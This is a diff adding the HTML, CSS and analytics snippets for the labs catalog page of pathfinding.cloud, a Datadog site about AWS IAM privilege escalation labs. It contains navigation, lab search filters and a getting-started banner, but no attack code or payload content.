+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
